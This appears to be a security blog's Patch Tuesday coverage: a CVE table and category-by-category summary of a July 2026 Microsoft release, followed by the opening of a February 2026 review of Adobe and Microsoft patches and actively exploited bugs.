CVE-2026-50371	Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58544	Windows Management Services Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50404	Windows Media Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50358	Windows Media Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50336	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50398	Windows Media Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50414	Windows Media Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50379	Windows Media Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50433	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50676	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50677	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34349	Windows Media Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50394	Windows Media Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50415	Windows Media Information Disclosure Vulnerability	Important	5.3	No	No	Info
CVE-2026-57083	Windows Media Photo Codec Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-54115	Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50447	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-50505	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-50342	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56183	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	7	No	No	EoP
CVE-2026-56187	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	7	No	No	EoP
CVE-2026-58635	Windows Narrator Braille Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50500	Windows Netlogon Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50476	Windows Network Connections Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50450	Windows Network Connections Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56650	Windows Network File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56649	Windows Network File System Remote Code Execution Vulnerability	Important	5.9	No	No	RCE
CVE-2026-50470	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-50496	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-56194	Windows NFS Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56648	Windows NFS Server Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50337	Windows Notification Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49789	Windows NTFS Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-50412	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50422	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50672	Windows NTFS Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-56175	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56182	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50341	Windows NTFS Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-58640	Windows NTFS Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-49184	Windows NTFS Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-49797	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50308	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50386	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50309	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50313	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50388	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50448	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50471	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50461	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50417	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50482	Windows NTFS Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-50494	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50344	Windows OLE Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50686	Windows OLE Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-50335	Windows Operating Systems Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50317	Windows Operating Systems Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54987	Windows Overlay Filter Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50435	Windows Overlay Filter Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50409	Windows Overlay Filter Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-40400	Windows PowerShell Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-49166	Windows Print Configuration Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55004	Windows Print Configuration Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50499	Windows Print Spooler Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50383	Windows Print Spooler Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-57085	Windows Print Spooler Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50469	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50434	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50339	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50430	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50334	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-44800	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50363	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50431	Windows Quality of Service (QoS) Packet Scheduler Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50372	Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50666	Windows Remote Access Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56647	Windows Remote Access Service Infrastructure Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50330	Windows Remote Desktop Client Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50376	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50504	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58533	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58535	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58546	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58539	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-55003	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-57979	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50445	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50497	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54126	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-57982	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50369	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58626	Windows Remote Desktop Services Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-55014	Windows Remote Help Defense Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50318	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50407	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50357	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50441	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50668	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	6.8	No	No	EoP
CVE-2026-54109	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49792	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49793	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50362	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50492	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-50501	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58530	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49791	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-50451	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-57096	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50323	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50452	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50348	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50345	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50322	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50340	Windows Runtime Elevation of Privilege Vulnerability	Important	8.5	No	No	EoP
CVE-2026-50410	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50449	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50460	Windows Runtime Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-50403	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50385	Windows Runtime Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50413	Windows Runtime Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50457	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50486	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50503	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-54125	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58527	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50373	Windows Search Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50679	Windows Search Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-44806	Windows Secure Channel Denial of Service Vulnerability	Important	5.3	No	No	DoS
CVE-2026-50681	Windows Secure Channel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56186	Windows Secure Channel Information Disclosure Vulnerability	Important	8.1	No	No	Info
CVE-2026-50367	Windows Sensor Data Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58619	Windows Sensor Data Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50311	Windows Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50328	Windows Server Update Service (WSUS) Tampering Vulnerability	Important	7.5	No	No	Tampering
CVE-2026-58531	Windows SMB Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-54997	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-49801	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50690	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56168	Windows SMB Server Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50360	Windows SMB Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-57089	Windows SMB Server Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-50333	Windows Spaceport.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50298	Windows Spaceport.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49171	Windows Speech Runtime Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-49170	Windows StateRepository API Server file Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58526	Windows Storage Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50299	Windows Storage Spaces Direct Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-57968	Windows Subsystem for Linux (WSL2) Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-57973	Windows Subsystem for Linux (WSL2) Kernel Tampering Vulnerability	Important	6.3	No	No	Tampering
CVE-2026-50418	Windows System Secure Feature Bypass Vulnerability	Important	5.1	No	No	SFB
CVE-2026-50306	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50307	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49177	Windows TCP/IP Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50669	Windows Telephony Server Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-54124	Windows Terminal Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50350	Windows Trusted Runtime Interface Driver Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50326	Windows Unified Consent System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49790	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-50498	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58547	Windows Universal Plug and Play (UPnP) Device Host Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-49794	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	4.6	No	No	Info
CVE-2026-50453	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-58528	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	6.8	No	No	Info
CVE-2026-50321	Windows USB Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50479	Windows USB Hub Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55000	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	6.4	No	No	EoP
CVE-2026-54991	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54996	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49802	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49806	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50674	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49804	Windows USB Video Driver Elevation of Privilege Vulnerability	Important	6.6	No	No	EoP
CVE-2026-50454	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49176	Windows WalletService Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49800	Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50480	Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56173	Windows WebView Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58632	Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54107	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-54986	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54112	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54114	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50670	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50688	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50687	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56176	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58628	Windows Wireless Network Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50295	Windows Zero Trust DNS Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-50509	Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55945	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Moderate	4.2	No	No	Info
CVE-2026-45488	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Moderate	5.4	No	No	Spoofing
CVE-2026-45489	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Moderate	6.5	No	No	Spoofing
CVE-2026-55145	Outlook Copilot Tampering Vulnerability	Moderate	6.3	No	No	Tampering
CVE-2026-56181	Windows Network Address Translation (NAT) Spoofing Vulnerability	Moderate	8.3	No	No	Spoofing
CVE-2026-58597	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Low	4.3	No	No	Spoofing

** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.

I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.

Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.

That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.

The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.

And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.

There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.

There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.

The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.

Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.

Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.

Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network. The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”. HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.

No new advisories are being released this month.

Looking Ahead

The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

The February 2026 Security Update Review

Sat, 25 Jul 2026 19:00:44 +0200

I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for February 2026

For February, Adobe released nine bulletins addressing 44 unique CVEs in Adobe Audition, After Effects, InDesign, Substance 3D Designer, Substance 3D Stager, Adobe Bridge, Substance 3D Modeler, Lightroom Classic, and the Adobe DNG Software Development Kit (SDK). The largest update here is for After Effects, which fixes 13 Critical and two Important rated bugs. The patch for Substance 3D Designer is on the larger side with seven fixes, but only two of those are Critical. On the other hand, the fix for Substance 3D Stager corrects five Critical-rated bugs that could lead to code execution. The Audition patch fixes six bugs, but only one is Critical.

The other patches are smaller in size. The fix for the Adobe DNG Software Development Kit (SDK) corrects two Critical and two Important-rated bugs. The InDesign patch fixes three bugs, but only one is Critical. The update for Adobe Bridge fixes two Critical bug that could lead to code execution. The patch for Lightroom Classic addresses a single Critical bug, and the release is wrapped up with a patch for Substance 3D Modeler that fixes a single, Important-rated memory link.

None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and all of the updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for February 2026

This month, Microsoft drops 58 new CVEs in Windows and Windows components, Office and Office Components, Azure, Microsoft Edge (Chromium-based), .NET and Visual Studio, GitHub Copilot, Mailslot FS, Exchange Server, Internet Explorer (!), Power BI, Hyper-V Server, and the Windows Subsystem for Linux. Counting the third-party and Chromium updates listed in the release, it brings the total number of CVEs to 62. One of the bugs in the Windows Graphics component was submitted through the ZDI program. Five of these bugs are rated Critical, two are rated Moderate, and the rest are rated Important in severity.

It’s typical to see this number of CVEs released in February, but the number of bugs under active attack is extraordinarily high. Microsoft lists six bugs being exploited at the time of release, with three of these listed as publicly known. Last month only had a single bug being exploited, although there were twice as many CVEs patched. We’ll see if we’re on our way to another “hot exploit summer” as we saw a few years ago or if this is just an aberration.

Let’s take a closer look at some of the more interesting updates for this month, starting with the bugs under active attack:

- CVE-2026-21510 - Windows Shell Security Feature Bypass Vulnerability
This bug is listed as a security feature bypass, but it could also be classified as code execution. An attacker can bypass Windows SmartScreen and Windows Shell security prompts to execute code on a target system. This bug is also listed as publicly known, but Microsoft doesn’t say where. There is user interaction here, as the client needs to click a link or a shortcut file. Still, a one-click bug to gain code execution is a rarity. Definitely test and deploy this fix quickly.

- CVE-2026-21514 - Microsoft Word Security Feature Bypass Vulnerability
This bug also requires user interaction in the form of opening a Word document, but that’s all that’s required to bypass protections to dangerous COM/OLE controls. Thankfully, the Preview Pane is not an attack vector here. However, users are well known to open lots of documents they receive in e-mail. This bypass could also result in code execution if the right COM/OLE control is hit. This is also listed as publicly known, so add this to the list to test and deploy quickly.

- CVE-2026-21519 - Desktop Window Manager Elevation of Privilege Vulnerability
